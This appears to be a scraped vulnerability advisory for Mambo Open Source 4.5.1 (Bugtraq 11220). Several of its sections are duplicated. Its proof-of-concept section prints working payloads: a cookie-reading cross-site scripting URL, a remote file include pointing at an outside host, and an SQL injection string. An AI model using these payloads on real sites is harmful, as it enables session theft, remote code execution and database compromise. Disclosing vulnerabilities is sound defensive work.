Mambo Open Source Multiple Input Validation Vulnerabilities
BID:11220
Info
Mambo Open Source Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 11220 |
| Class: | Input Validation Error |
| CVE: |
CVE-2004-1693 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 20 2004 12:00AM |
| Updated: | Jul 12 2009 07:06AM |
| Credit: | Disclosure of this issue is credited to Joxean Koret <[email protected]> and khoai. |
| Vulnerable: |
Mambo Mambo Open Source 4.5.1 (1.0.9) |
| Not Vulnerable: | |
Discussion
Mambo Open Source Multiple Input Validation Vulnerabilities
Mambo open source is reportedly affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly validate user-supplied URI parameters.
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer, to carry out cross-site scripting attacks, and to make SLQ injection attacks against the vulnerable application.
Mambo open source is reportedly affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly validate user-supplied URI parameters.
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer, to carry out cross-site scripting attacks, and to make SLQ injection attacks against the vulnerable application.
Exploit / POC
Mambo Open Source Multiple Input Validation Vulnerabilities
No exploits are required to carry out attacks. The following proof of concepts have been provided:
Cross-Site Scripting:
http://www.example.com/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&limitstart=1
Remote File Include:
http://www.example.com/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://www.example.org/
SQL injection:
http://www.example.com/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=folder&filecatid=499%20and%201=0[SQL]/*
No exploits are required to carry out attacks. The following proof of concepts have been provided:
Cross-Site Scripting:
http://www.example.com/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&limitstart=1
Remote File Include:
http://www.example.com/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://www.example.org/
SQL injection:
http://www.example.com/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=folder&filecatid=499%20and%201=0[SQL]/*
Solution / Fix
Mambo Open Source Multiple Input Validation Vulnerabilities
Solution:
It has been reported that the current CVS version has been patched against these issues, although this has not been verified.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
It has been reported that the current CVS version has been patched against these issues, although this has not been verified.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Mambo Open Source Multiple Input Validation Vulnerabilities
References:
References:
- Mambo Open Source Homepage (Mambo)
- Vulnerabilities in TUTOS (Mambo) (Joxean Koret